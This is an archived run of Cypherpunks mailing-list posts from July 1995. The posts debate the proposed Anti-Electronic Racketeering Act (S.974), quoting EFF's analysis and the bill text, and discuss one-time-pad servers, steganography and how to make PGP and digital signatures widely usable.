tcmay at sensemedia.net   | anonymous networks, digital pseudonyms, zero
408-728-0152           | knowledge, reputations, information markets,
Corralitos, CA         | black markets, collapse of governments.
Higher Power: 2^756839 | Public Key: PGP and MailSafe available.
"National borders are just speed bumps on the information superhighway."







From hoz at univel.telescan.com  Thu Jul 13 16:38:30 1995
From: hoz at univel.telescan.com (rick hoselton)
Date: Thu, 13 Jul 95 16:38:30 PDT
Subject: def'n of "computer network"
Message-ID: <9507132338.AA07522@toad.com>


imsi.com!perry ("Perry E. Metzger") writes:


>My opinion is that stegonography "standards" are useless. 
> Anyone can
>try unpeeling the GIFs and see if something interesting shows up
>inside. That means that the only useful stego suffers from the defect
>that symmetric key cryptography suffers from -- you have to have made
>serious pre-arrangements with the counterparty.

Perry, I don't understand.  If the least significant bits in my gif file
follow all the "known statistical distributions", how can anyone know 
whether they are "just noise" or are an encrypted message, (asymmetric or 
symmetric, either one) unless they have the key?  Why can't there be public 
key steganography?  Perhaps existing tools are inadequate, but are they
impossible?  
Rick F. Hoselton  (who doesn't claim to present opinions for others)





From Doug.Hughes at Eng.Auburn.EDU  Thu Jul 13 16:46:51 1995
From: Doug.Hughes at Eng.Auburn.EDU (Doug Hughes)
Date: Thu, 13 Jul 95 16:46:51 PDT
Subject: OTP server..
Message-ID: <199507132346.SAA07316@netman.eng.auburn.edu>



How about WWW one time pad servers? You browse to your
favorite OTP server, which has a random number generator
running in the background. You tell it to give you a block
of X bytes, and mail it to persons 1, 2, 3, ... N.

These people then use this OTP for encrypting a document.
It wouldn't be illegal because you aren't encoding any data
and distributing it.. You're generating raw data. You wouldn't
have to distribute any crypto software, you just xor your
data file with the number of bytes that you were sent
in the mail from the OTP server.. Enough of these things
would be REALLY tough to monitor.. Plus, you could connect
8 different times and just pick one of the sets.. Or you
could just use a portion of the set that you and the receiving
party agreed upon.

Or, instead of using email, you could have a application/x-otp
browser that would collect the OTP that the server sent out
to you over HTTP. (this would be really hard to differentiate
from other data if the server was doing other things at the
same time).

Thoughts?

 Doug Hughes				Engineering Network Services
 doug at eng.auburn.edu			Auburn University




From gnu at toad.com  Thu Jul 13 16:50:50 1995
From: gnu at toad.com (John Gilmore)
Date: Thu, 13 Jul 95 16:50:50 PDT
Subject: EFF analysis: Anti-Electronic Racketeering Act (S.974)
Message-ID: <9507132350.AA08064@toad.com>


From: ssteele at eff.org (Shari Steele)

*****  FEEL FREE TO DISTRIBUTE WIDELY  *****

On June 27, Senator Grassley (R-Iowa) introduced the Anti-Electronic
Racketeering Act, S.974.  The bill was designed "to prohibit certain acts
involving the use of computers in the furtherance of crimes, and for other
purposes."  Its immediate effect, among other things, would be to
criminalize the posting of any encryption software on any computer network
that foreign nationals can access (in other words, any computer network
period).  Because of poor wording, the bill would probably also criminalize
data compression and other non-cryptographic encoding schemes available on 
networks.  This includes the compression used in most of the images on 
Internet user's WWW homepages, not to mention uu and binhex encoding for 
transferring binary files via email, and even language encoding used to 
represent non-English characters, such as the SJIS scheme for representing
Japanese characters.

In addition, the bill seems to be directed at undermining two big fights
we've successfully waged in the past:  the Steve Jackson Games decision
against the United States Secret Service and the government's Clipper Chip
proposal.

Re:  Steve Jackson Games -- this bill would permit the government to avoid
the notice requirements of the Privacy Protection Act if "there is reason
to believe that the immediate seizure of such materials is necessary to
prevent the destruction or altercation [very Freudian sic!] of such
documents."  Furthermore, the government could use electronic evidence
seized that had not been particularly described in a warrant if 

"the seizure is incidental to an otherwise valid seizure, and the
government officer or employee-

   ''(A) was not aware that work product material was among the data seized;

   ''(B) upon actual discovery of the existence of work product materials, the
government officer or employee took reasonable steps to protect the privacy
interests recognized by this section, including-

   ''(i) using utility software to seek and identify electronically stored data
that may be commingled or combined with non-work product material; and

   ''(ii) upon actual identification of such material, taking reasonable steps
to protect the privacy of the material, including seeking a search warrant."  

Re:  Clipper Chip -- The bill would make it a crime "to distribute computer
software that encodes or encrypts electronic or digital communications to
computer networks that the person distributing the software knows or
reasonably should know, is accessible to foreign nationals and foreign
governments, regardless of whether such software has been designated as
nonexportable."  However, there is an exception:  "It shall be an
affirmative defense to prosecution under this section that the software at
issue used a universal decoding device or program that was provided to the
Department of Justice prior to the distribution."  This is essentially an
attempt to sneak the key "escrow" provisions of the Clipper scheme in
through a legislative back door.

Fortunately, the bill does not have a very promising future.  The bill has
no co-sponsors.  It was immediately referred to the Committee on the
Judiciary, where it currently sits.  LEXIS's bill tracking report only
gives it a 10% chance of passing out of the committee.

I thought Senator Grassley's own statement when he introduced the bill is
worth reading, so I'm attaching it here.  My favorite line is "Elliott Ness
needs to meet the Internet."  This is especially ironic in light of recent 
comparisons of hysteria about "dangerous" material on the internet, and 
Prohibition.

The bill itself follows.
Shari
------------------------------------------------------------------------
Shari Steele, Director of Legal Services                 ssteele at eff.org
Electronic Frontier Foundation                      202/861-7700 (voice)
1667 K Street, N.W., Suite 801                        202/861-1258 (fax)
Washington, DC  20006-1605                            202/861-1224 (BBS)



----------  Senator Grassley's Statement to the Senate  ----------

   Mr. President, I rise this evening to introduce the Anti-electronic
Racketeering Act of 1995. This bill makes important changes to RICO and
criminalizes deliberately using computer technology to engage in criminal
activity. I believe this bill is a reasonable, measured and strong response
to a growing problem.  According to the computer emergency and response
team at Carnegie-Mellon University, during 1994, about 40,000 computer
users were attacked. Virus hacker, the FBI's national computer crime squad
has investigated over 200 cases since 1991. So, computer crime is clearly
on the rise.

   Mr. President, I suppose that some of this is just natural. Whenever man
develops a new technology, that technology will be abused by some. And that is
why I have introduced this bill. I believe we need to seriously reconsider the
Federal Criminal Code with an eye toward modernizing existing statutes and
creating new ones. In other words, Mr. President, Elliot Ness needs to meet the
Internet.

   Mr. President, I sit on the Board of the Office of Technology Assessment.
That Office has clearly indicated that organized crime has entered cyberspace in
a big way. International drug cartels use computers to launder drug money and
terrorists like the Oklahoma City bombers use computers to conspire to commit
crimes.

   Computer fraud accounts for the loss of millions of dollars per year. And
often times, there is little that can be done about this because the computer
used to commit the crimes is located overseas. So, under my bill, overseas
computer users who employ their computers to commit fraud in the United States
would be fully subject to the Federal criminal laws.  Also under my bill, Mr.
President, the wire fraud statute which has been successfully used by
prosecutors for many users, will be amended to make fraudulent schemes which use
computers a crime.

   It is not enough to simply modernize the Criminal Code. We also have to
reconsider many of the difficult procedural burdens that prosecutors must
overcome. For instance, in the typical case, prosecutors must identify a
location in order to get a wiretapping order. But in cyberspace, it is often
impossible to determine the location. And so my bill corrects that so that if
prosecutors cannot, with the exercise of effort, give the court a location, then
those prosecutors can still get a wiretapping order. And for law enforcers-both
State and Federal-who have seized a computer which contains both contraband or
evidence and purely private material, I have created a good-faith standard so
that law enforcers are not shackled by undue restrictions but will also be
punished for bad faith.

   Mr. President, this brave new world of electronic communications and global
computer networks holds much promise. But like almost anything, there is the
potential for abuse and harm. That is why I urge my colleagues to support this
bill and that is why I urge industry to support this bill.

   On a final note, I would say that we should not be too scared of technology.
After all, we are still just people and right is still right and wrong is still
wrong. Some things change and some things do not. All that my bill does is say
you can't use computers to steal, to threaten others or conceal criminal
conduct.

   Mr. President, I ask unanimous consent that the text of the bill be printed
in the Record.

   There being no objection, the bill was ordered to be printed in the Record,
as follows:

   S. 974



   SECTION 1. SHORT TITLE.

   This Act may be cited as the ''Anti-Electronic Racketeering Act of 1995''.

   SEC. 2. PROHIBITED ACTIVITIES.

   (a) Definitions .-Section 1961(1) of title 18, United States Code, is
amended-

   (1) by striking ''1343 (relating to wire fraud)'' and inserting ''1343
(relating to wire and computer fraud)'';

   (2) by striking ''that title'' and inserting ''this title'';

   (3) by striking ''or (E)'' and inserting ''(E)''; and

   (4) by inserting before the semicolon the following: ''or (F) any act that is
indictable under section 1030, 1030A, or 1962(d)(2)''.

   (b) Use of Computer To Facilitate Racketeering Enterprise .-Section 1962 of
title 18, United States Code, is amended-

   (1) by redesignating subsection (d) as subsection (e); and

   (2) by inserting after subsection (c) the following new subsection:

   ''(d) It shall be unlawful for any person-

   ''(1) to use any computer or computer network in furtherance of a
racketeering activity (as defined in section 1961(1)); or

   ''(2) to damage or threaten to damage electronically or digitally stored
data.''.

   (c) Criminal Penalties .-Section 1963(b) of title 18, United States Code, is
amended-

   (1) by striking ''and'' at the end of paragraph (1);

   (2) by striking the period at the end of paragraph (2) and inserting '';
and''; and

   (3) by adding at the end the following new paragraph:

   ''(3) electronically or digitally stored data.''.

   (d) Civil Remedies .-Section 1964(c) of title 18, United States Code, is
amended by striking ''his property or business''.   [*S9181]  

   (e) Use as Evidence of Intercepted Wire or Oral Communications .-Section 2515
of title 18, United States Code, is amended by inserting before the period at
the end the following: '', unless the authority in possession of the intercepted
communication attempted in good faith to comply with this chapter. If the United
States or any State of the United States, or subdivision thereof, possesses a
communication intercepted by a nongovernmental actor, without the knowledge of
the United States, that State, or that subdivision, the communication may be
introduced into evidence''.

   (f) Authorization for Interception of Wire, Oral, or Electronic
Communications .-Section 2516(1) of title 18, United States Code, is amended-

   (1) by striking ''and'' at the end of paragraph (n);

   (2) by striking the period at the end of paragraph () and inserting '';
and''; and

   (3) by adding at the end the following new paragraph:

   ''(p) any violation of section 1962 of title 18.''.

   (g) Procedures for Interception .-Section 2518(4)(b) of title 18, United
States Code, is amended by inserting before the semicolon the following: ''to
the extent feasible''.

   (h) Computer Crimes .-

   (1) New prohibited activities .-Chapter 47 of title 18, United States Code,
is amended by adding at the end the following new section:

   '' 1A1030A. Racketeering-related crimes involving computers

   ''(a) It shall be unlawful-

   ''(1) to use a computer or computer network to transfer unlicensed computer
software, regardless of whether the transfer is performed for economic
consideration;

   ''(2) to distribute computer software that encodes or encrypts electronic or
digital communications to computer networks that the person distributing the
software knows or reasonably should know, is accessible to foreign nationals and
foreign governments, regardless of whether such software has been designated as
nonexportable; and

   ''(3) to use a computer or computer network to transmit a communication
intended to conceal or hide the origin of money or other assets, tangible or
intangible, that were derived from racketeering activity; and

   ''(4) to operate a computer or computer network primarily to facilitate
racketeering activity or primarily to engage in conduct prohibited by Federal or
State law.

   ''(b) For purposes of this section, each act of distributing software is
considered a separate predicate act. Each instance in which nonexportable
software is accessed by a foreign government, an agent of a foreign government,
a foreign national, or an agent of a foreign national, shall be considered as a
separate predicate act.

   ''(c) It shall be an affirmative defense to prosecution under this section
that the software at issue used a universal decoding device or program that was
provided to the Department of Justice prior to the distribution.''.

   (2) Clerical amendment .-The analysis at the beginning of chapter 47, United
States Code, is amended by adding at the end the following new item:

   ''1030A. Racketeering-related crimes involving computers.''.

   (3) Jurisdiction and venue .-Section 1030 of title 18, United States Code, is
amended by adding at the end the following new subsection:

   ''(g)(1)(A) Any act prohibited by this section that is committed using any
computer, computer facility, or computer network that is physically located
within the territorial jurisdiction of the United States shall be deemed to have
been committed within the territorial jurisdiction of the United States.

   ''(B) Any action taken in furtherance of an act described in subparagraph (A)
shall be deemed to have been committed in the territorial jurisdiction of the
United States.

   ''(2) In any prosecution under this section involving acts deemed to be
committed within the territorial jurisdiction of the United States under this
subsection, venue shall be proper where the computer, computer facility, or
computer network was physically situated at the time at least one of the
wrongful acts was committed.''.

   (i) Wire and Computer Fraud .-Section 1343 of title 18, United States Code,
is amended by striking ''or television communication'' and inserting
''television communication, or computer network or facility''.

   (j) Privacy Protection Act .-Section 101 of the Privacy Protection Act of
1980 (42 U.S.C. 2000aa) is amended-

   (1) in subsection (a)-

   (A) by striking ''or'' at the end of paragraph (1);

   (B) by striking the period at the end of paragraph (2) and inserting '';
or''; and

   (C) by adding at the end the following new paragraph:

   ''(3) there is reason to believe that the immediate seizure of such materials
is necessary to prevent the destruction or altercation of such documents.''; and

   (2) in subsection (b)-

   (A) by striking ''or'' at the end of paragraph (3);

   (B) by striking the period at the end of paragraph (4) and inserting '';
or''; and

   (C) by adding at the end the following new paragraph:

   ''(5) in the case of electronically stored data, the seizure is incidental to
an otherwise valid seizure, and the government officer or employee-

   ''(A) was not aware that work product material was among the data seized;

   ''(B) upon actual discovery of the existence of work product materials, the
government officer or employee took reasonable steps to protect the privacy
interests recognized by this section, including-

   ''(i) using utility software to seek and identify electronically stored data
that may be commingled or combined with non-work product material; and

   ''(ii) upon actual identification of such material, taking reasonable steps
to protect the privacy of the material, including seeking a search warrant.''.  





From shamrock at netcom.com  Thu Jul 13 16:50:58 1995
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 13 Jul 95 16:50:58 PDT
Subject: mistake on my part
Message-ID: <199507132348.TAA03865@bb.hks.net>


-----BEGIN PGP SIGNED MESSAGE-----

In article <9507131759.AA12314 at webster.imsi.com>, perry at imsi.com (Perry E.
Metzger) wrote:

>I made a small mistake -- the new bill does *not* make it a crime to
>make crypto software available at Egghead -- but it does more or less
>make distribution of crypto software over the internet impossible if
>it isn't an escrow based system.

And once that happens, you will have to fill out a form and register your
copy of crypto software that you got at Egghead, just as you have to
register firearms today.

<I am starting to wish I had bought an AR-15 back when you still could>

- -- 
- -- Lucky Green <mailto:shamrock at netcom.com>
   PGP encrypted mail preferred.
- ---
[This message has been signed by an auto-signing service.  A valid signature
means only that it has been received at the address corresponding to the
signature and forwarded.]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Gratis auto-signing service

iQBFAwUBMAWwryoZzwIn1bdtAQG9nAF/WVEXYjXk8fmPHtgn0pxfMTMBLCjAEvM0
+XKCLWWTaQ/5jy3cvFco8FILAb48RuYz
=+LO3
-----END PGP SIGNATURE-----





From shamrock at netcom.com  Thu Jul 13 16:54:39 1995
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 13 Jul 95 16:54:39 PDT
Subject: mistake on my part
Message-ID: <199507132352.TAA03917@bb.hks.net>


-----BEGIN PGP SIGNED MESSAGE-----

In article
<Pine.ULT.3.91.950713143343.10146B-100000 at krypton.mankato.msus.edu>,
hayden at krypton.mankato.msus.edu ("Robert A. Hayden") wrote:

>On Thu, 13 Jul 1995 aba at dcs.exeter.ac.uk wrote:
>
>> If they pull this off stage 2, I wonder how long till stage 3, I think
>> it'll be time to leave the sinking ship while exit visas are still
>> granted!
>
>And go where?  I know i'm living in a shell, but I've never heard a 
>difinitive answer of where is a better place to live and still has the 
>same or better freedoms.
>
>*serious question*

There is none. At least not for the average citizen with an avarage
income. This is the best you will find. Everywhere else it is already
worse than here and getting worse as well. Perhaps nanotech will have a
breakthrough and allow colonization of outer space. There sure is nothing
on this planet. Sorry.

- -- 
- -- Lucky Green <mailto:shamrock at netcom.com>
   PGP encrypted mail preferred.
- ---
[This message has been signed by an auto-signing service.  A valid signature
means only that it has been received at the address corresponding to the
signature and forwarded.]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Gratis auto-signing service

iQBFAwUBMAWxbioZzwIn1bdtAQE1GwF+PshiXqSvW6H3hpGks8Z+6PqdR2wEeWbC
1TUfjgzcGKVl3vFc1SZWTr2VitCPJb0q
=1xuY
-----END PGP SIGNATURE-----





From pgf at tyrell.net  Thu Jul 13 17:01:03 1995
From: pgf at tyrell.net (Phil Fraering)
Date: Thu, 13 Jul 95 17:01:03 PDT
Subject: Crisis Overload (re Electronic Racketeering)
In-Reply-To: <199507132215.BAA17628@shadows.cs.hut.fi>
Message-ID: <199507132356.AA13388@tyrell.net>


   Date: Fri, 14 Jul 1995 01:15:04 +0300
   From: Tatu Ylonen <ylo at cs.hut.fi>
   to break encryption for anyone.  Plus, it was created and is primarily
   distributed *outside* the United States, in a country where none of
   the algorithms are patented.  It can thus be openly available for

Well, I think it's nice that people outside the U.S. will have access
to encryption; it appears, however, that those of us in the U.S. writing
such software may end up having to forego payment and credit, until
Blacknet is very strong...

Phil





From shamrock at netcom.com  Thu Jul 13 17:07:57 1995
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 13 Jul 95 17:07:57 PDT
Subject: The end of public key cryptography as we know it?
Message-ID: <199507140005.UAA04037@bb.hks.net>


-----BEGIN PGP SIGNED MESSAGE-----

In article <199507132009.AA15283 at tyrell.net>, pgf at tyrell.net (Phil
Fraering       ) wrote:

>   From: Doug Hughes <Doug.Hughes at eng.auburn.edu>
>   Date: Thu, 13 Jul 1995 13:46:10 -0500
>
>   An article posted on sci.crypt stated that quantum factoring
>   is real and that an article was posted in this month's Science
>   magazine. The author of the post says this would make factoring
>   a 10 bit number the same time as factoring a 100000000 bit number.
>
>You can bet your ass and your mother's and grandmother's donatable
>organs that if this were possible, then the legislative initiatives
>currently underway would not be: they'd just let us use RSA and get
>a false sense of security.

Even with a quantum computer, factoring is still an extra step that is not
required with GAK. Besides, factoring will always be more expensive than
GAK, at least for the other side.

- -- 
- -- Lucky Green <mailto:shamrock at netcom.com>
   PGP encrypted mail preferred.
- ---
[This message has been signed by an auto-signing service.  A valid signature
means only that it has been received at the address corresponding to the
signature and forwarded.]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Gratis auto-signing service

iQBFAwUBMAW0VSoZzwIn1bdtAQG9QQF+OWci7VK8X9/ropNlf5dGW5/jbHWo+4cR
2GvuYpDvoAbDRQmDcpFR7u8hBog7KIet
=c/wa
-----END PGP SIGNATURE-----





From unicorn at polaris.mindport.net  Thu Jul 13 17:15:55 1995
From: unicorn at polaris.mindport.net (Black Unicorn)
Date: Thu, 13 Jul 95 17:15:55 PDT
Subject: OTP server..
Message-ID: <v02130500ac2cc7c4390a@[205.219.167.38]>


-----BEGIN PGP SIGNED MESSAGE-----

>How about WWW one time pad servers? You browse to your
>favorite OTP server, which has a random number generator
>running in the background. You tell it to give you a block
>of X bytes, and mail it to persons 1, 2, 3, ... N.
>
>These people then use this OTP for encrypting a document.
>It wouldn't be illegal because you aren't encoding any data
>and distributing it.. You're generating raw data. You wouldn't
>have to distribute any crypto software, you just xor your
>data file with the number of bytes that you were sent
>in the mail from the OTP server.. Enough of these things
>would be REALLY tough to monitor.. Plus, you could connect
>8 different times and just pick one of the sets.. Or you
>could just use a portion of the set that you and the receiving
>party agreed upon.
>
>Or, instead of using email, you could have a application/x-otp
>browser that would collect the OTP that the server sent out
>to you over HTTP. (this would be really hard to differentiate
>from other data if the server was doing other things at the
>same time).
>
>Thoughts?
>

I think you're trusting the server a GREAT deal.



> Doug Hughes                            Engineering Network Services
> doug at eng.auburn.edu                    Auburn University

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBMAcXby1onm9OaF05AQEUpggApWiVdcA4UAsVIXKEor3JnM6PkEZleO6b
CpbyXYVZNRmUuePTuUMf9KQkI0accFm/sjnc7t12Hujs60utILWYM2F71GSrHZ0/
POx/oExL5TgcR9m6e0cYM58k9xZT2golXXHukTXnU6FlCNSNMfWnBziTgsSwCj1q
mZO8xQnbSWteWL50g7cFBMvGbyDSygOZu9MPqzRRvUVoF/kL78G0SAwT8HzGadfk
yIV40wDicBfuPH1GcaPlbGW+0Adips0WHAETBSRmUXSBdu+uQcs6LhEhddvbKmzF
Rh4qpIR0FYKcnyax0kqk6eBBWqo7oVCdm9nYMHc2yg6I9dQLGWnQIA==
=b9lf
-----END PGP SIGNATURE-----







From unicorn at polaris.mindport.net  Thu Jul 13 17:30:22 1995
From: unicorn at polaris.mindport.net (Black Unicorn)
Date: Thu, 13 Jul 95 17:30:22 PDT
Subject: The end of public key cryptography as we know it?
Message-ID: <v02130501ac2ccb450beb@[205.219.167.38]>


>-----BEGIN PGP SIGNED MESSAGE-----
>
>In article <199507132009.AA15283 at tyrell.net>, pgf at tyrell.net (Phil
>Fraering       ) wrote:
>
>>   From: Doug Hughes <Doug.Hughes at eng.auburn.edu>
>>   Date: Thu, 13 Jul 1995 13:46:10 -0500
>>
>>   An article posted on sci.crypt stated that quantum factoring
>>   is real and that an article was posted in this month's Science
>>   magazine. The author of the post says this would make factoring
>>   a 10 bit number the same time as factoring a 100000000 bit number.
>>
>>You can bet your ass and your mother's and grandmother's donatable
>>organs that if this were possible, then the legislative initiatives
>>currently underway would not be: they'd just let us use RSA and get
>>a false sense of security.

You give them too much credit.

Still, there's always IDEA and suchlike.  The legislation would stand in
any event.


>Even with a quantum computer, factoring is still an extra step that is not
>required with GAK. Besides, factoring will always be more expensive than
>GAK, at least for the other side.
>
>- --
>- -- Lucky Green <mailto:shamrock at netcom.com>
>   PGP encrypted mail preferred.
>- ---
>[This message has been signed by an auto-signing service.  A valid signature
>means only that it has been received at the address corresponding to the
>signature and forwarded.]
>
>-----BEGIN PGP SIGNATURE-----
>Version: 2.6.2
>Comment: Gratis auto-signing service
>
>iQBFAwUBMAW0VSoZzwIn1bdtAQG9QQF+OWci7VK8X9/ropNlf5dGW5/jbHWo+4cR
>2GvuYpDvoAbDRQmDcpFR7u8hBog7KIet
>=c/wa
>-----END PGP SIGNATURE-----







From warlord at MIT.EDU  Thu Jul 13 17:35:40 1995
From: warlord at MIT.EDU (Derek Atkins)
Date: Thu, 13 Jul 95 17:35:40 PDT
Subject: Crypto '95 roommate?
Message-ID: <199507140035.UAA23513@toxicwaste.media.mit.edu>


Anyone looking for a roommate for crypto '95?  If so, let me know.

-derek





From waynec at csr.UVic.CA  Thu Jul 13 17:38:13 1995
From: waynec at csr.UVic.CA (Wayne  Chapeskie)
Date: Thu, 13 Jul 95 17:38:13 PDT
Subject: Crisis Overload (re Electronic Racketeering)
Message-ID: <199507140038.RAA20869@clipper.csc.UVic.CA>


-----BEGIN PGP SIGNED MESSAGE-----


On Jul 13, 11:10am, Timothy C. May wrote:
>
>Every couple of months there's been a new legislative attack on what were
>once basic American freedoms. (Sorry to focus on America. I'm sure you
>folks in the liberty-loving paradises of, say, Germany, are gloating over
>our hand-wringing.)
>
>We're losing the war. We can send in donations to the NRA and EFF, offer
>our support to the ACLU and EPIC, but the tide just keeps rolling in,
>washing away our efforts. The full-time lawmakers in D.C. can proliferate
>new repressive laws much faster than we can fight them.

The current legislative situation regarding computer encryption and
communication technologies is one that firearms owners in the
US and other places have for many years been familiar with.
Every congressional session, a US Representative introduces a bill to
repeal the Second Amendment.  Almost every session, a bill to
prohibit handguns is introduced.  Every session, nearly a dozen or
more bills are introduced which infringe in some way on the rights of
Americans to own and use firearms, through registration, taxation of
ammunition and firearms, licensing of owners, restrictions on imports,
restrictions on dealers, bans of certain types of ammunition, and on
and on and on.

As the NRA might say:  Welcome to the party.  Get used to the heat,
because it isn't going to get any better.

As computer people, we have for some decades now been able to carry
on with our activities essentially unnoticed by the people
Perry Metzger has quite precisely referred to as fascists.

No longer.

Fortunately, most bills introduced into the US congress die without
becoming law.  This is the nature of the US legislative process.
This has included most (but not all) anti-gun rights bills, and will
likely include most anti-crypto and anti-free-speech bills as well.
(As was pointed out, this particular bill has no co-sponsors, and
is unlikely to proceed out of committee).

Unfortunately, proponents of secure and private communications, as
well as proponents of free speech over computer communications
networks, are likely to find themselves under constant legislative
and executive attack for the forseeable future, just as American
gun owners have been.

Wayne Chapeskie

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2i

iQCVAgUBMAW8PgB/BYFE8GeZAQHDOwP+Ohzckk5GVkpw29WMzZcaTuCLeYJUrLfi
6HVkFvQsLOOCLKXAnqWyVxxLjUAlEPLs4waVTEgj2zntX3K/zeyejTSFgbM4ITPK
V4UOpTif6WMoZBqossxzNQT+JJDpNC6+b2QmuXIzeC60UO4LbU5OmSRXcQ0uCdbt
z1FSZTt/ol0=
=VAPu
-----END PGP SIGNATURE-----





From erc at khijol.intele.net  Thu Jul 13 17:45:41 1995
From: erc at khijol.intele.net (Ed Carp [khijol Sysadmin])
Date: Thu, 13 Jul 95 17:45:41 PDT
Subject: OTP server..
In-Reply-To: <v02130500ac2cc7c4390a@[205.219.167.38]>
Message-ID: <Pine.3.89.9507131817.A10819-0100000@khijol>


On Fri, 14 Jul 1995, Black Unicorn wrote:

> >How about WWW one time pad servers? You browse to your
> >favorite OTP server, which has a random number generator
> >running in the background. You tell it to give you a block
> >of X bytes, and mail it to persons 1, 2, 3, ... N.
> 
> I think you're trusting the server a GREAT deal.

Why is that?  The randomness of the data can be easily checked...
--
Ed Carp, N7EKG    			Ed.Carp at linux.org, ecarp at netcom.com
801/534-8857 voicemail			801/460-1883 digital pager
Finger ecarp at netcom.com for PGP 2.5 public key		an88744 at anon.penet.fi

Q.	What's the trouble with writing an MS-DOS program to emulate Clinton?
A.	Figuring out what to do with the other 639K of memory.






From rsnyder at janet.advsys.com  Thu Jul 13 17:55:30 1995
From: rsnyder at janet.advsys.com (Bob Snyder)
Date: Thu, 13 Jul 95 17:55:30 PDT
Subject: OTP server..
In-Reply-To: <v02130500ac2cc7c4390a@[205.219.167.38]>
Message-ID: <199507140053.UAA13342@janet.advsys.com>

A non-text attachment was scrubbed...
Name: not available
Type: application/pgp
Size: 14 bytes
Desc: not available
URL: <https://lists.cpunks.org/pipermail/cypherpunks-legacy/attachments/19950713/520a2080/attachment.bin>

From jya at pipeline.com  Thu Jul 13 18:00:55 1995
From: jya at pipeline.com (John Young)
Date: Thu, 13 Jul 95 18:00:55 PDT
Subject: co-sponsors S.974
Message-ID: <199507140100.VAA00681@pipe4.nyc.pipeline.com>



Responding to msg by perry at imsi.com (Perry E. Metzger) on Thu, 
13 Jul  4:51 PM

>I searched Thomas and couldn't find any evidence of 
>co-sponsors to the  Senate bill. Am I wrong here?


As you know, gnu at toad.com sent the EFF analysis which included:

   > From: ssteele at eff.org (Shari Steele)
   > ...
   > Fortunately, the bill does not have a very promising
   > future.  The bill has  no co-sponsors.  It was immediately
   > referred to the Committee on the Judiciary, where it
   > currently sits.  LEXIS's bill tracking report only  gives
   > it a 10% chance of passing out of the committee. ...


In contrast, the following is from law list Cyberia-L today:


   > At  8:17 AM 7/13/95 -0400, James R. Coleman wrote:

   >> Anyone know the committee status of this bill.  Does it
   >> have co-sponsors?  House sponsors?  Are hearings
   >> scheduled?  Or is Grassly not serious but tryint to get
   >> some press in Des Moines?

   > The bill was co-sponsored by Sens. Kyl (R-AZ) and Leahy
   > (D-VT). It has the enthousiastic support of the
   > administration. In a DOJ press release  following its
   > introduction, AG Reno is quoted as saying "computer crime
   > is fast becoming everyone's problem. I'm encouraged that
   > this bill is off to a  bipartisan start, and I hope
   > Congress will move quickly to enact it." 
   >
   > If there's a companion bill in the House, I'm not aware of
   > it.
   >
   > John Noble


Anyone got better info on yes/no sponsors or seen the DOJ press
release?












From hayden at krypton.mankato.msus.edu  Thu Jul 13 18:10:17 1995
From: hayden at krypton.mankato.msus.edu (Robert A. Hayden)
Date: Thu, 13 Jul 95 18:10:17 PDT
Subject: Expansion on my earlier rant (long)
Message-ID: <Pine.ULT.3.91.950713200640.19067A-100000@krypton.mankato.msus.edu>


-----BEGIN PGP SIGNED MESSAGE-----

Hi all, me again.

I've received about a dozen requests to clarify my rant earlier about 
what I think needs to be done about the future of the CPs and the net, 
now that the official declaration of war has been made by the government. 
So, I'm going to do that.  

As a quick warning, however, I need to remind everyone that I am not a 
programmer.  My knowledge of Internet protocols is passable, but actual 
implementation issues are beyond me.  Basically, I'm a well-informed user 
with dreams.  Professionally, I'm a teacher and a graduate student in the 
area of Education Technology (use of modern technologies as applied to 
education) at Mankato State University in Minnesota.  I also write geek 
codes and am active politically serving on the college senate and being 
outspoken in other areas. :-)

Anyways . . . 

- -------------

When I look at the current political climate, the current technologies, 
and the predications for the next two or three years of the expected 
changes in the social makeup to the Internet, I quickly realize that the 
Cypherpunks cannot possibly, except by pure luck, expect to influence any 
change of the net.  The problem isn't that it is growing too fast.  The 
problem is that we as a generation of network users, who first came 
online circa 85-92, are not the same generation that make up the bulk of 
the population.

The bulk of the population, and the one that is continuing to come 
online, don't CARE about technical issues.  All they care about is what 
the net can do for them as a COMMUNICATION TOOL.  And until WE stop 
getting bogged in technical issues and start looking at this from the 
user's end of the spectrum, not enough people are going to care for it to 
matter. 

So when you take a program like PGP, which by all definitions is a
technological godsend, and introduce it to the mass populations of the
net, you get a big "Buh!?" back from them.  Why?  Because they just don't
care.  Furthermore, it becomes difficult to to teach them about the values
of the program because PGP is far too difficult to use.  I'm not saying
that the majority of the net is stupid, just that they don't want things
to be any more complicated than necessary. 

Thus, if we want to institute change, we have to come at it from a 
different angle.  We have to take into consideration the sociological 
makeup of the net, and, more importantly, what the current and future 
populations of the net are going to WANT.  Serving the needs of a tiny
percentage of people isn't going to accomplish what we want.

- -------
WHAT SHOULD WE DO

Now, if I was the king, this is what I'd like to see done...

1)	RE-EVALUATE PUSHING PGP
There is little doubt that PGP is a great program.  It does everything we 
want it to do.  Unfortunately, there are some significant problems with 
it as well.
	A)  ITAR:  'nuff said.  This prevents it's global use.
	B)  Patent concerns.  I don't know fully the details of this, but 
		if I understand, there are some concerns about who owns 
		what portions of the encryption algorithms, or something to
		that effect.
	C)  Can PGP's features be implemented in style usable by the
		current generation of Internet users?

The problem is that while we fight solving all of these concerns, we are 
going nowhere.  Would it be, in terms of time required, better to come 
up with another system that solves these problems?  By using 
international encryption techniques and Public Domain algorithms, and 
design the program specifically for implementation in user-end and 
server-end programs?

I don't know.  But this is what the re-evaluation needs to answer.

2)	PUSH FOR UNIVERSAL DIGITAL SIGNATURES
In my version of utopia, all digital messages are signed.  Unfortunately, 
right now, there are no mechanisms in place to achieve that.  

	First, a way to get signatures out needs to be done.  A
	server<->client program similar to Archie needs to be developed
	that will allow people to retrieve signatures off of some registry
	site(s).  Of course, this should be done with encryption, probably
	something similar to what netscape uses for its data transfers.  I
	should be able to get any person's digital signature knowing
	nothing more than their email address, or less specific, their
	name.  This is a white pages of the net. 

	Second.  A mechanism needs to be devised where all email and
	usenet material is digitally signed.  This needs to be done in a
	way that the user is not even aware that it is being done.  Perhaps
	an encrypted environment variable containing the key would work
	(ie, you run a program, type in your passphrase, it encrypts it to 
	a file, assigns your signature, and then reads that file into the
	environment, decrypting it when needed.  It does this once during 
	generation.).  In any case, no user should have to manually sign 
